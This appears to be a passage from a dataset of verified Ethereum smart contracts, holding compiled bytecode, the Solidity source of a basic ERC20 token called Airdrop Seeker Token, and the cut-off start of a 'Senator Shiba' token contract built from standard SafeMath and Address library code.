01b0316600090815260d3602052604090205490565b60008060056104258486611540565b61043790670de0b6b3a7640000611540565b610441919061155f565b9050610455670de0b6b3a76400008261155f565b61045f9085611581565b949350505050565b6033546001600160a01b0316331461049a5760405162461bcd60e51b815260040161049190611599565b60405180910390fd5b60cc55565b6033546001600160a01b031633146104c95760405162461bcd60e51b815260040161049190611599565b60c980546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146105155760405162461bcd60e51b815260040161049190611599565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146105615760405162461bcd60e51b815260040161049190611599565b60cd55565b6033546001600160a01b031633146105905760405162461bcd60e51b815260040161049190611599565b61059861117c565b565b6033546001600160a01b031633146105c45760405162461bcd60e51b815260040161049190611599565b60ca80546001600160a01b0319166001600160a01b0392909216919091179055565b600260975414156106095760405162461bcd60e51b8152600401610491906115ce565b60026097556000610619336106fe565b33600090815260d3602052604081208054929350839290919061063d908490611581565b909155505033600090815260d26020526040902042905560655460ff16156106775760405162461bcd60e51b815260040161049190611605565b33600081815260d3602052604080822080549083905560cb5482516340c10f1960e01b8152600481019590955260248501829052915190936001600160a01b03909216926340c10f19926044808201939182900301818387803b1580156106dd57600080fd5b505af11580156106f1573d6000803e3d6000fd5b5050600160975550505050565b33600081815260d0602090815260408083205460d19092528220549192909190839061072990610894565b90506107358183610416565b61073f9084611540565b95945050505050565b6033546001600160a01b031633146107725760405162461bcd60e51b815260040161049190611599565b610598600061120f565b600054610100900460ff166107975760005460ff161561079b565b303b155b6107fe5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610491565b600054610100900460ff16158015610820576000805461ffff19166101011790555b610828611261565b610830611290565b6108386112c3565b6108406112f2565b6201518060cc556103e860cd55801561085f576000805461ff00191690555b50565b6033546001600160a01b0316331461088c5760405162461bcd60e51b815260040161049190611599565b6105986112f2565b60cd5460cc546001600160a01b038316600090815260d260205260408120549092839290916108c3904261162f565b6108d590670de0b6b3a7640000611540565b6108df919061155f565b6108e99190611540565b9392505050565b600260975414156109135760405162461bcd60e51b8152600401610491906115ce565b60026097556000610923336106fe565b33600090815260d36020526040812080549293508392909190610947908490611581565b909155505033600090815260d26020526040902042905560655460ff16156109815760405162461bcd60e51b815260040161049190611605565b8251825181156109b05733600090815260d16020526040812080548392906109aa90849061162f565b90915550505b80156109db5733600090815260d06020526040812080548492906109d590849061162f565b90915550505b60005b81811015610b3a5760008582815181106109fa576109fa611646565b602090810291909101810151600081815260cf9092526040909120549091506001600160a01b03163314610a5b5760405162461bcd60e51b815260206004820152600860248201526726bab9ba1037bbb760c11b6044820152606401610491565b600081815260cf60205260409081902080546001600160a01b031916905560ca549051632142170760e11b81526001600160a01b03909116906342842e0e90610aac9030903390869060040161165c565b600060405180830381600087803b158015610ac657600080fd5b505af1158015610ada573d6000803e3d6000fd5b505050507f9dd82d0e200154626d3847100285a15bd268b80aa7c0ae5005e9f8181932536781610b073390565b604080519283526001600160a01b0390911660208301520160405180910390a15080610b3281611680565b9150506109de565b5060005b82811015610c9a576000868281518110610b5a57610b5a611646565b602090810291909101810151600081815260ce9092526040909120549091506001600160a01b03163314610bbb5760405162461bcd60e51b815260206004820152600860248201526726bab9ba1037bbb760c11b6044820152606401610491565b600081815260ce60205260409081902080546001600160a01b031916905560c9549051632142170760e11b81526001600160a01b03909116906342842e0e90610c0c9030903390869060040161165c565b600060405180830381600087803b158015610c2657600080fd5b505af1158015610c3a573d6000803e3d6000fd5b505050507fbf0d6269b55296cf10c260a2fc30f3f6b2b0a5903bab53b1465df526da651b4781610c673390565b604080519283526001600160a01b0390911660208301520160405180910390a15080610c9281611680565b915050610b3e565b5033600081815260d3602052604080822080549083905560cb5482516340c10f1960e01b8152600481019590955260248501829052915190936001600160a01b03909216926340c10f19926044808201939182900301818387803b158015610d0157600080fd5b505af1158015610d15573d6000803e3d6000fd5b505060016097555050505050505050565b60026097541415610d495760405162461bcd60e51b8152600401610491906115ce565b60026097556000610d59336106fe565b33600090815260d36020526040812080549293508392909190610d7d908490611581565b909155505033600090815260d26020526040902042905560655460ff1615610db75760405162461bcd60e51b815260040161049190611605565b8251825133600090815260d06020526040902054600a90610dd9908490611581565b1115610e145760405162461bcd60e51b815260206004820152600a60248201526913585e081cdd185ad95960b21b6044820152606401610491565b33600090815260d16020526040902054600590610e32908390611581565b1115610e6d5760405162461bcd60e51b815260206004820152600a60248201526913585e081cdd185ad95960b21b6044820152606401610491565b60005b82811015610f7d576000868281518110610e8c57610e8c611646565b60200260200101519050610e9d3390565b600082815260ce6020526040902080546001600160a01b0319166001600160a01b0392831617905560c954166323b872dd3330846040518463ffffffff1660e01b8152600401610eef9392919061165c565b600060405180830381600087803b158015610f0957600080fd5b505af1158015610f1d573d6000803e3d6000fd5b505050507ff0d313f262b2a6beab52bc83c1e10a45508a0c88a6767795c7b29611982a34e781610f4a3390565b604080519283526001600160a01b0390911660208301520160405180910390a15080610f7581611680565b915050610e70565b5033600090815260d0602052604081208054849290610f9d908490611581565b90915550600090505b818110156110b3576000858281518110610fc257610fc2611646565b60200260200101519050610fd33390565b600082815260cf6020526040902080546001600160a01b0319166001600160a01b0392831617905560ca54166323b872dd3330846040518463ffffffff1660e01b81526004016110259392919061165c565b600060405180830381600087803b15801561103f57600080fd5b505af1158015611053573d6000803e3d6000fd5b505050507fe3ae0f439d39a1aa0d8203378ba1ac5cf578e2bb9c9fb47818529fef1b9fc064816110803390565b604080519283526001600160a01b0390911660208301520160405180910390a150806110ab81611680565b915050610fa6565b5033600090815260d16020526040812080548392906110d3908490611581565b909155505060016097555050505050565b6033546001600160a01b0316331461110e5760405162461bcd60e51b815260040161049190611599565b6001600160a01b0381166111735760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610491565b61085f8161120f565b60655460ff166111c55760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610491565b6065805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff166112885760405162461bcd60e51b81526004016104919061169b565b61059861134a565b600054610100900460ff166112b75760405162461bcd60e51b81526004016104919061169b565b6065805460ff19169055565b600054610100900460ff166112ea5760405162461bcd60e51b81526004016104919061169b565b61059861137a565b60655460ff16156113155760405162461bcd60e51b815260040161049190611605565b6065805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111f23390565b600054610100900460ff166113715760405162461bcd60e51b81526004016104919061169b565b6105983361120f565b600054610100900460ff166113a15760405162461bcd60e51b81526004016104919061169b565b6001609755565b600080604083850312156113bb57600080fd5b50508035926020909101359150565b6000602082840312156113dc57600080fd5b5035919050565b6001600160a01b038116811461085f57600080fd5b60006020828403121561140a57600080fd5b81356108e9816113e3565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261143c57600080fd5b8135602067ffffffffffffffff8083111561145957611459611415565b8260051b604051601f19603f8301168101818110848211171561147e5761147e611415565b60405293845285810183019383810192508785111561149c57600080fd5b83870191505b848210156114bb578135835291830191908301906114a2565b979650505050505050565b600080604083850312156114d957600080fd5b823567ffffffffffffffff808211156114f157600080fd5b6114fd8683870161142b565b9350602085013591508082111561151357600080fd5b506115208582860161142b565b9150509250929050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561155a5761155a61152a565b500290565b60008261157c57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115945761159461152a565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6000828210156116415761164161152a565b500390565b634e487b7160e01b600052603260045260246000fd5b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006000198214156116945761169461152a565b5060010190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b60608201526080019056fea26469706673582212203062e04a44f1f9d58075e9ed14bab88f8849e04b1e0ea70fdb664b475c23392764736f6c634300080a0033
[ 4, 12 ]
0xf2ab318be5a30b150b5fd630673815a885edb2b1
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } //========= main ================== contract AST is StandardToken { string public constant name = "Airdrop Seeker Token"; //The Token's name uint8 public constant decimals = 18; //Number of decimals of the smallest unit string public constant symbol = "AST"; //An identifier function AST() public { totalSupply_ = 200 * (10 ** 8 ) * (10 ** 18); // 2.5 billion AST, decimals set to 18 balances[msg.sender] = totalSupply_; Transfer(0, msg.sender, totalSupply_); } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e578063661884631461026d57806370a08231146102c757806395d89b4114610314578063a9059cbb146103a2578063d73dd623146103fc578063dd62ed3e14610456575b600080fd5b34156100bf57600080fd5b6100c76104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104fb565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af6105ed565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105f7565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b6102516109b1565b604051808260ff1660ff16815260200191505060405180910390f35b341561027857600080fd5b6102ad600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109b6565b604051808215151515815260200191505060405180910390f35b34156102d257600080fd5b6102fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c47565b6040518082815260200191505060405180910390f35b341561031f57600080fd5b610327610c8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ad57600080fd5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cc8565b604051808215151515815260200191505060405180910390f35b341561040757600080fd5b61043c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ee7565b604051808215151515815260200191505060405180910390f35b341561046157600080fd5b6104ac600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110e3565b6040518082815260200191505060405180910390f35b6040805190810160405280601481526020017f41697264726f70205365656b657220546f6b656e00000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561063457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b61075d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107f0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108c182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ac7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5b565b610ada838261116a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f415354000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5257600080fd5b610da3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e36826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610f7882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561117857fe5b818303905092915050565b600080828401905083811015151561119757fe5b80915050929150505600a165627a7a72305820ab6da2a35d7343083ff3cd6d1cc27fbbd21c9d5550864319257f1e2fb1adc2990029
[ 38 ]
0xf2ab43e50ce2df21a4aa9db0747bfacf8541d763
/** *Submitted for verification at Etherscan.io on 2021-12-14 */ /* Senator Shiba https://t.me/senatorshiba */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes 